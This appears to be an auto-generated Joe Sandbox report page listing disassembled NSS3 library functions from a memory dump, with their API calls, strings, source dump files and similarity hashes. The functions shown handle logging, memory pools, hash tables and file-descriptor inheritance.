Function 6C767CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C767CE0

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767D36
PR_Realloc.NSS3(?,00000080), ref: 6C767D6D
PR_GetCurrentThread.NSS3 ref: 6C767D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C767DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767DD8
malloc.MOZGLUE(00000080), ref: 6C767DF8
PR_GetCurrentThread.NSS3 ref: 6C767E06

Strings

:%s:%d:0x%lx, xrefs: 6C767DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C767DF0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction ID: 64153eb4e07bb59d13acc5c6b0697457555c35f0535ace9c42039f709e538c9a
Opcode Fuzzy Hash: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction Fuzzy Hash: 9341D8B16002059FDB04CF2ACE8596B37A9FF80358B19496CEC198BF51D731E941CBA1

Function 6C767E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C767E46

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C767EAF
PR_ImportFile.NSS3(?), ref: 6C767ECF
PR_GetCurrentThread.NSS3 ref: 6C767ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C767F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C767F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C767F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C767E41
%d:0x%lx, xrefs: 6C767EA9

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction ID: 5aed24a47e2b6f0d90098e2c41fc9ecb3ac5bd061177fdc0f13a5bc1c43393df
Opcode Fuzzy Hash: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction Fuzzy Hash: C6312170A041199BEB009B6ACA84AABB7BDEB46388F244575DC05A7E11F7219D09C792

Function 6C674E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C674E90
EnterCriticalSection.KERNEL32 ref: 6C674EA9
TlsGetValue.KERNEL32 ref: 6C674EC6
EnterCriticalSection.KERNEL32 ref: 6C674EDF
PL_HashTableLookup.NSS3 ref: 6C674EF8
PR_Unlock.NSS3 ref: 6C674F05
PR_Now.NSS3 ref: 6C674F13
PR_Unlock.NSS3 ref: 6C674F3A

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

bUgl, xrefs: 6C674F3F
bUgl, xrefs: 6C674E5C

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUgl$bUgl
API String ID: 326028414-433878880
Opcode ID: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction ID: 43928d472bb7bf6bee02f62fa467335f81323fca9321d0c8d15164fb7999d30c
Opcode Fuzzy Hash: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction Fuzzy Hash: 64417EB4A00605DFCB00EF78C0888AABBF0FF49354B118569EC598B710EB30E855CFA5

Function 6C686C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C686C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C686CD5

Strings

hSession = 0x%x, xrefs: 6C686C7E, 6C686C8E
(CK_INVALID_HANDLE), xrefs: 6C686C9C
nvl, xrefs: 6C686CF4, 6C686D1F
C_DigestInit, xrefs: 6C686C61
pMechanism = 0x%p, xrefs: 6C686CD0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nvl
API String ID: 1003633598-38645125
Opcode ID: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction ID: c9903db8a381657514da2625c1b9aaa53de78cc17e3ab2697a7299ea8a5a6ef6
Opcode Fuzzy Hash: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction Fuzzy Hash: 3521D2706021189BDB109F559E8DF9A3BB5EB46318F084035E909ABB51DF30D908CBBE

Function 6C689DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C689DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C689E65

Strings

hSession = 0x%x, xrefs: 6C689E0E, 6C689E1E
(CK_INVALID_HANDLE), xrefs: 6C689E2C
C_SessionCancel, xrefs: 6C689DF1
flags = 0x%x, xrefs: 6C689E60
nvl, xrefs: 6C689E7D, 6C689EA8

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nvl
API String ID: 1003633598-2976574969
Opcode ID: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction ID: 3c64787e9378289bcc1afb8ed4801818213899cfff743bb56bed3a251824f273
Opcode Fuzzy Hash: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction Fuzzy Hash: 6521A271602208AFDB009F559E8CFAA3BB5AF4634DF044434E909ABB51DB309949C7BE

Function 6C69ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C69DE64), ref: 6C69ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ED22

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PL_FreeArenaPool.NSS3(?), ref: 6C69ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C69ED6B
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED38

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C69ED52
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED83
PL_FreeArenaPool.NSS3(?), ref: 6C69ED95
PL_FinishArenaPool.NSS3(?), ref: 6C69ED9D

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

Strings

security, xrefs: 6C69ED06

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction ID: 28c81ebaddfb73fa214c35a6141f11110cd87732556d38ea3b25dff53e969e3a
Opcode Fuzzy Hash: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction Fuzzy Hash: 921127759412056BE6105A25AC84FBBB2B8BF4270CF050534E81572E61FB35E61C87EE

Function 6C760EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C642357), ref: 6C760EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C642357), ref: 6C760EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B
Aborting, xrefs: 6C760EB3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction ID: 067482d12ba6637cb6d14ca54963ac54f3f92eb7a25781c4b4bfb7c1c1c6bd75
Opcode Fuzzy Hash: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction Fuzzy Hash: 52F0AFB59002147BEB003BA1AC4EC9F3E2DDF82266F044034FD0956A02DA36E91496B6

Function 6C6C4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C4DCB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C6C4DE1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C6C4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6C4E59

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C78300C,00000000), ref: 6C6C4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C6C4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C6C4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C521A

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction ID: e0e16157fa520ecd96ba953d81e385f55c060dd23c6a341fb9fac20bfd61f9dd
Opcode Fuzzy Hash: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction Fuzzy Hash: 3DF1AE71F00209CBDB04CF54D8407AEB7B2FF89358F254129D915AB781EB75E982CB96

Function 6C654FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65502A
PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655034
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655055
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,?,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65506D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction ID: ee6e71a34298829745ec6e91d28c914b236e885fa2d0bb1f24da0190ea055af9
Opcode Fuzzy Hash: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction Fuzzy Hash: F331D0B1B03214ABEF109EA58C4CF4B3AB8EB13388F754135EA0993A40D3759815CBED

Function 6C5F2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5F3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F3178

Strings

database corruption, xrefs: 6C5F316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F3022, 6C5F3156, 6C5F3162, 6C5F318A, 6C5F3196, 6C5F31A2, 6C5F31AE, 6C5F31BA, 6C5F31C6
%s at line %d of [%.10s], xrefs: 6C5F3171

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction ID: d1b011660477391cc7a9f5b0f0bbebeb8affa978236d4a80e2e58842c69b1bfd
Opcode Fuzzy Hash: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction Fuzzy Hash: 7CB18EB0E052199BEB08CF9DCC85AEEB7B1BF48304F14442AE855B7B41D7749942CFA5

Function 6C642D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C642D69

Strings

winUnmapfile1, xrefs: 6C642F55
@vl, xrefs: 6C642E24
winUnmapfile2, xrefs: 6C642F7F
Pvl, xrefs: 6C642E74, 6C642EC5, 6C642F32, 6C642F5C
vl, xrefs: 6C642DD0
winTruncate2, xrefs: 6C642EF8
winTruncate1, xrefs: 6C642EBE
winSeekFile, xrefs: 6C642E9C

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __allrem
